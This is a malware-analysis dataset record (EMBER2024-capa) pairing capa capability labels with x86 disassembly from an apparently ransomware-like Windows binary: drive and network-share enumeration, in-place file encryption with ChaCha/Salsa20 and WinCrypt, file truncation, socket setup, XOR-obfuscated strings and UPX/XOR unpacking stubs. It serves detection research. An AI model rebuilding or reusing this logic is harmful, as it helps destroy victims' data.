joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401530
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov ebx, ecx
push 0
push 0
mov dword [ebp - 8], 0
mov dword [ebx], 0
mov dword [ebx + 4], ebx
call edi
mov esi, eax
test esi, esi
je 0x40162f
lea eax, [esi*2 + 2]
push eax
call fcn.00408746
add esp, 4
mov dword [ebp - 4], eax
test eax, eax
je 0x40162f
lea ecx, [esi*2 + 2]
push ecx
push 0
push eax
call fcn.00407860
add esp, 0xc
push dword [ebp - 4]
push esi
call edi
mov eax, dword [ebp - 4]
mov edi, eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40161a
push 0x20
call fcn.004054c9
mov esi, eax
add esp, 4
xor eax, eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
mov word [esi], ax
cmp word [edi], ax
je 0x4015e0
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4015d1
sub eax, edx
sar eax, 1
push eax
push edi
mov ecx, esi
call fcn.00401680
inc dword [ebp - 8]
lea ecx, [esi + 0x18]
mov dword [ecx], 0
mov eax, dword [ebx + 4]
mov dword [esi + 0x1c], eax
mov eax, dword [ebx + 4]
mov dword [eax], esi
mov eax, dword [ebp - 0xc]
mov dword [ebx + 4], ecx
lea edi, [edi + eax*2]
add edi, 2
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x4015a8
push dword [ebp - 4]
call fcn.00408517
mov eax, dword [ebp - 8]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401c00
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x419004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 2
push 0
mov edi, ecx
push 0xffffffffffffffff
push 0xfffffdea
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x401cc9
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 0x14]
push 0
push eax
push 0x20c
lea eax, [edi + 0x84]
push eax
push dword [edi + 4]
call esi
test eax, eax
je 0x401cc9
cmp dword [ebp - 0x14], 0x20c
jne 0x401cc9
push 0
lea eax, [ebp - 0x14]
push eax
push 0xa
lea eax, [ebp - 0x10]
push eax
push dword [edi + 4]
call esi
test eax, eax
je 0x401cc9
cmp dword [ebp - 0x14], 0xa
jne 0x401cc9
movzx eax, byte [ebp - 0x10]
lea ecx, [ebp - 0xe]
mov byte [edi + 0x40], al
lea esi, [edi + 0x10]
movzx eax, byte [ebp - 0xf]
mov edx, 2
mov byte [edi + 0x41], al
mov eax, ecx
sub esi, eax
mov eax, dword [ecx]
lea ecx, [ecx + 4]
mov dword [esi + ecx - 4], eax
sub edx, 1
jne 0x401c92
push edx
push edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004054b8
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.004054b8
mov esp, ebp
pop ebp
ret
Function at 0x401ce0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x419004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 0
push 3
push 0
mov esi, ecx
push 0
push 0xc0000000
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x401deb
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x401dbc
mov ecx, dword [ebp - 0xc]
mov eax, ecx
mov edx, dword [ebp - 8]
or eax, edx
je 0x401dbc
test edx, edx
jl 0x401dbc
jg 0x401d4c
cmp ecx, 0x216
jb 0x401dbc
mov ecx, esi
call fcn.00401c00
test eax, eax
jne 0x401d9c
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x401d6d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 4], 0xffffffff
mov ecx, 0x20c
lea eax, [esi + 0x84]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401d80
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004054b8
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x10]
mov dword [esi + 8], eax
mov eax, dword [esi + 0x14]
mov dword [esi + 0xc], eax
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004054b8
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x401dd2
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 4], 0xffffffff
mov ecx, 0x20c
lea eax, [esi + 0x84]
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401de0
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004054b8
mov esp, ebp
pop ebp
ret
Function at 0x401e00
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x419004]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
xorps xmm0, xmm0
mov dword [ebp - 0xc], 0
mov ebx, edx
movlpd qword [ebp - 0x2c], xmm0
mov eax, dword [ebp - 0x2c]
mov edx, ecx
push esi
push edi
mov edi, dword [ebp - 0x28]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x14], eax
nop word [eax + eax]
mov ecx, 0x100000
sub ecx, eax
mov eax, 0
sbb eax, edi
mov dword [ebp - 0x28], eax
js 0x401e62
jg 0x401e5d
cmp ecx, 0x500000
jbe 0x401e62
mov ecx, 0x500000
push 0
lea eax, [ebp - 0xc]
push eax
push ecx
push ebx
push dword [edx + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401f23
mov esi, dword [ebp - 0xc]
mov dword [ebp - 0x20], esi
test esi, esi
je 0x401f23
add dword [ebp - 0x14], esi
mov edx, ebx
push esi
adc edi, 0
mov dword [ebp - 0x28], edi
mov edi, dword [ebp - 0x1c]
push ebx
lea ecx, [edi + 0x44]
call section..text
mov ecx, dword [ebp - 0xc]
add esp, 8
xor eax, eax
neg ecx
adc eax, eax
push 1
push 0
neg eax
push eax
push ecx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x401f23
mov ecx, dword [edi + 4]
xor ebx, ebx
mov edi, esi
mov dword [ebp - 0x30], ecx
xor esi, esi
mov dword [ebp - 0x10], ebx
test edi, edi
je 0x401f02
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push edi
add eax, esi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401f23
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x401f23
mov ecx, dword [ebp - 0x30]
add ebx, eax
add esi, eax
sub edi, eax
cmp ebx, dword [ebp - 0x20]
jne 0x401ed5
mov edi, dword [ebp - 0x28]
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
test edi, edi
jl 0x401e40
jg 0x401f23
cmp eax, 0x100000
jb 0x401e40
mov ecx, dword [ebp - 8]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004054b8
mov esp, ebp
pop ebp
ret
Function at 0x4021a0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x419004]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0xc], 0
mov ebx, edx
mov dword [ebp - 0x28], edi
xorps xmm0, xmm0
mov dword [ebp - 0x1c], ebx
movlpd qword [ebp - 0x34], xmm0
mov esi, dword [edi + 0x14]
mov ecx, dword [edi + 0x10]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x38], esi
test esi, esi
jl 0x4022d1
jg 0x4021ea
test ecx, ecx
je 0x4022d1
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], eax
sub ecx, eax
mov eax, esi
sbb eax, edx
mov dword [ebp - 0x30], eax
js 0x402210
jg 0x40220b
cmp ecx, 0x500000
jbe 0x402210
mov ecx, 0x500000
push 0
lea eax, [ebp - 0xc]
push eax
push ecx
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4022d1
mov esi, dword [ebp - 0xc]
mov dword [ebp - 0x20], esi
test esi, esi
je 0x4022d1
add dword [ebp - 0x14], esi
lea ecx, [edi + 0x44]
push esi
adc dword [ebp - 0x18], 0
mov edx, ebx
push ebx
call section..text
mov ecx, dword [ebp - 0xc]
add esp, 8
xor eax, eax
neg ecx
adc eax, eax
push 1
push 0
neg eax
push eax
push ecx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x4022d1
mov ecx, dword [edi + 4]
xor ebx, ebx
mov edi, esi
mov dword [ebp - 0x30], ecx
xor esi, esi
mov dword [ebp - 0x10], ebx
test edi, edi
je 0x4022ad
nop
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x1c]
push edi
add eax, esi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4022d1
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4022d1
mov ecx, dword [ebp - 0x30]
add ebx, eax
add esi, eax
sub edi, eax
cmp ebx, dword [ebp - 0x20]
jne 0x402280
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
cmp edx, esi
jl 0x4021f6
jg 0x4022d1
cmp eax, ecx
jb 0x4021f6
mov ecx, dword [ebp - 8]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004054b8
mov esp, ebp
pop ebp
ret
Function at 0x4022f0
Capabilities:
Clear file content
Encrypt data using salsa20 or chacha
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x419004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0xc], edx
mov edi, ecx
xor ebx, ebx
call fcn.00401ce0
test eax, eax
jne 0x402326
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004054b8
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x20c
push eax
lea esi, [edi + 0x84]
push esi
push 0
push 1
push 0
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x402313
lea edx, [edi + 0x18]
mov ecx, 8
sub edx, esi
mov eax, dword [esi]
lea esi, [esi + 4]
mov dword [edx + esi - 4], eax
sub ecx, 1
jne 0x402355
lea ecx, [edi + 0xa4]
mov edx, 2
lea esi, [edi + 0x38]
sub esi, ecx
mov eax, dword [ecx]
lea ecx, [ecx + 4]
mov dword [esi + ecx - 4], eax
sub edx, 1
jne 0x402373
mov eax, dword [edi + 0x18]
lea ecx, [edi + 0x18]
mov dword [edi + 0x54], eax
mov eax, dword [ecx + 4]
mov dword [edi + 0x58], eax
mov eax, dword [ecx + 8]
mov dword [edi + 0x5c], eax
mov eax, dword [ecx + 0xc]
add ecx, 0x10
mov dword [edi + 0x60], eax
mov eax, dword [ecx]
mov dword [edi + 0x64], eax
mov eax, dword [ecx + 4]
mov dword [edi + 0x68], eax
mov eax, dword [ecx + 8]
mov dword [edi + 0x6c], eax
mov eax, dword [ecx + 0xc]
mov dword [edi + 0x70], eax
mov dword [edi + 0x44], 0x61707865
mov dword [edi + 0x48], 0x3320646e
mov dword [edi + 0x4c], 0x79622d32
mov dword [edi + 0x50], 0x6b206574
mov dword [edi + 0x74], ebx
mov dword [edi + 0x78], ebx
mov eax, dword [edi + 0x38]
mov dword [edi + 0x7c], eax
mov eax, dword [edi + 0x3c]
mov dword [edi + 0x80], eax
mov al, byte [edi + 0x40]
cmp al, 0x24
jne 0x4023fb
mov edx, dword [ebp - 0xc]
push ecx
mov ecx, edi
call fcn.004021a0
jmp 0x402425
cmp al, 0x25
jne 0x402416
movzx eax, byte [edi + 0x41]
cdq
push edx
mov edx, dword [ebp - 0xc]
push eax
push ecx
mov ecx, edi
call fcn.00401f40
add esp, 0xc
jmp 0x402428
cmp al, 0x26
jne 0x40242a
mov edx, dword [ebp - 0xc]
push ecx
mov ecx, edi
call fcn.00401e00
add esp, 4
mov ebx, eax
push 2
push 0
push 0xffffffffffffffff
push 0xfffffdea
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x40244b
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004054b8
mov esp, ebp
pop ebp
ret
Function at 0x402770
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x419004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4027a5
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004054b8
mov esp, ebp
pop ebp
ret
push 0
push 0
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x25a207b9
push eax
push 4
push 0x41bae4
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], 0x4660ddf3
push eax
push 0xc8000006
push esi
mov dword [ebp - 0xc], 0xe576e98e
mov dword [ebp - 8], 0x3e06748c
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x402794
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
neg eax
pop esi
sbb eax, eax
xor ecx, ebp
inc eax
call fcn.004054b8
mov esp, ebp
pop ebp
ret
Function at 0x402b30
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x419004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
mov dword [ebp - 0x38], edx
push esi
mov esi, dword [sym.imp.NETAPI32.dll_NetShareEnum]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
nop dword [eax + eax]
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 8]
push ecx
push 0xffffffffffffffff
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call esi
test eax, eax
je 0x402b9b
cmp eax, 0xea
jne 0x402d02
mov eax, dword [ebp - 0x28]
jmp 0x402b70
push edi
mov edi, 1
mov dword [ebp - 0x30], edi
cmp dword [ebp - 8], edi
jb 0x402cf8
push ebx
mov ebx, dword [ebp - 0x14]
add ebx, 4
mov dword [ebp - 0x2c], 0x7f
nop dword [eax + eax]
mov eax, dword [ebx]
test eax, eax
je 0x402bd8
cmp eax, 0x80000000
je 0x402bd8
cmp eax, 0x40000000
jne 0x402ce7
push 0x7d08
call fcn.00408746
mov esi, eax
add esp, 4
mov dword [ebp - 0x34], esi
test esi, esi
je 0x402ce7
push 0x7d08
push 0
push esi
call fcn.00407860
mov byte [ebp - 0x24], 0
add esp, 0xc
mov byte [ebp - 0x23], 0x7b
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x7b
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov al, byte [ebp - 0x23]
cmp byte [ebp - 0x24], 0
jne 0x402c5c
xor edi, edi
lea esi, [edi + 0x7f]
nop dword [eax]
mov al, byte [ebp + edi - 0x23]
mov ecx, 0x72
movzx eax, al
sub ecx, eax
lea eax, [ecx + ecx*8]
add eax, eax
cdq
idiv esi
lea eax, [edx + 0x7f]
cdq
idiv esi
mov byte [ebp + edi - 0x23], dl
inc edi
cmp edi, 6
jb 0x402c30
mov esi, dword [ebp - 0x34]
mov edi, dword [ebp - 0x30]
lea eax, [ebp - 0x23]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [ebp - 0x28]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov byte [ebp - 0x1c], 0
mov byte [ebp - 0x1b], 0x61
mov byte [ebp - 0x1a], 0x27
mov byte [ebp - 0x19], 0x27
mov byte [ebp - 0x18], 0x27
mov al, byte [ebp - 0x1b]
cmp byte [ebp - 0x1c], 0
jne 0x402cb2
xor ecx, ecx
mov al, byte [ebp + ecx - 0x1b]
movzx eax, al
sub eax, 0x27
imul eax, eax, 0x29
cdq
idiv dword [ebp - 0x2c]
lea eax, [edx + 0x7f]
cdq
idiv dword [ebp - 0x2c]
mov byte [ebp + ecx - 0x1b], dl
inc ecx
cmp ecx, 4
jb 0x402c90
lea eax, [ebp - 0x1b]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [ebx - 4]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edx, dword [ebp - 0x38]
lea ecx, [esi + 0x7d00]
mov dword [ecx], 0
mov eax, dword [edx + 4]
mov dword [esi + 0x7d04], eax
mov eax, dword [edx + 4]
mov dword [eax], esi
mov dword [edx + 4], ecx
inc edi
add ebx, 0xc
mov dword [ebp - 0x30], edi
cmp edi, dword [ebp - 8]
jbe 0x402bc0
pop ebx
push dword [ebp - 0x14]
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004054b8
mov esp, ebp
pop ebp
ret
Function at 0x402f70
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x419004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [0x41bb10]
test edi, edi
jne 0x402fa0
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004054b8
mov esp, ebp
pop ebp
ret
mov eax, dword [edi]
xor bl, bl
mov dword [ebp - 0x18], eax
push 0x28
push 0x40
mov byte [ebp - 0x15], bl
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x40306d
mov eax, dword [ebp - 0x18]
push 1
push 0
push 0
push 6
push 1
push 2
mov dword [esi + 0x18], eax
mov byte [esi + 0x1c], 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
jne 0x402feb
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x403062
mov ecx, 0x10
lea eax, [ebp - 0x14]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x402ff3
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 2
push eax
mov dword [ebp - 0x10], ecx
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x40302d
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_closesocket]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x403062
push 0
push 2
push dword [0x41bae0]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
je 0x40301b
lea ecx, [esi + 0x20]
mov dword [ecx], 0
mov eax, dword [0x41baf4]
mov dword [esi + 0x24], eax
mov eax, dword [0x41baf4]
mov dword [eax], esi
mov dword [0x41baf4], ecx
inc bl
cmp bl, 0xff
jb 0x402fa7
mov ecx, dword [edi + 4]
mov eax, dword [edi + 8]
test ecx, ecx
je 0x40307c
mov dword [ecx + 8], eax
jmp 0x403081
mov dword [0x41bb14], eax
mov ecx, dword [edi + 8]
mov eax, dword [edi + 4]
push edi
mov dword [ecx], eax
call fcn.00408517
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.004054b8
mov esp, ebp
pop ebp
ret
Function at 0x4033e0
Capabilities:
Create thread
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x29c
mov eax, dword [0x419004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x298]
xor ebx, ebx
push eax
push 0x202
xor edi, edi
mov dword [0x41bb20], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x41baf8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call fcn.00402770
test eax, eax
je 0x403509
push edi
push edi
push edi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x41bae0], eax
test eax, eax
je 0x403509
push 0x100
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x40346b
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [0x41badc], eax
mov ecx, 0x41bb10
mov dword [0x41bb10], ebx
mov dword [0x41bb14], 0x41bb10
mov dword [0x41bb18], ebx
mov dword [0x41bb1c], 0x41bb18
mov dword [0x41baf0], ebx
mov dword [0x41baf4], 0x41baf0
call fcn.00402810
test eax, eax
je 0x403509
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402d20
push 0
push 0
call esi
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403509
push 0
push 0
push 0
push 0x403190
push 0
push 0
call esi
mov edi, eax
cmp edi, 0xffffffff
je 0x403509
push 0
push 1
push 0
push dword [0x41bae0]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push edi
call esi
or ecx, 0xffffffff
call fcn.00402e80
push 0xffffffffffffffff
push ebx
call esi
push 0x41baf8
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov eax, dword [0x41bae0]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x403526
push eax
call esi
test ebx, ebx
je 0x40352d
push ebx
call esi
test edi, edi
je 0x403534
push edi
call esi
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004054b8
mov esp, ebp
pop ebp
ret
Function at 0x40b39c
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040b05c

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0x7d1f5ae9
test eax, eax
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
mov ecx, 0x7f6342a
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x42e560
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1b000]
push edi
or ebp, 0xffffffff
jmp 0x42e582
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x42e589
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x42e578
mov eax, 1
add ebx, ebx
jne 0x42e59b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x42e590
jne 0x42e5ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42e590
xor ecx, ecx
sub eax, 3
jb 0x42e5c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42e632
mov ebp, eax
add ebx, ebx
jne 0x42e5cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x42e5d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42e5fc
inc ecx
add ebx, ebx
jne 0x42e5e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42e5dd
jne 0x42e5f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42e5dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42e61c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42e60d
jmp 0x42e57e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42e61c
add edi, ecx
jmp 0x42e57e
pop esi
mov edi, esi
mov ecx, 0x761
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42e63a
cmp byte [edi], 0xc
jne 0x42e63a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x42e63f
lea edi, [esi + 0x2c000]
mov eax, dword [edi]
or eax, eax
je 0x42e6b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x30954]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x30a1c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42e66c
mov ecx, edi
jns 0x42e69b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x30a20]
or eax, eax
je 0x42e6b1
mov dword [ebx], eax
add ebx, 4
jmp 0x42e689
call dword [esi + 0x30a24]
popal
jmp 0x41a05e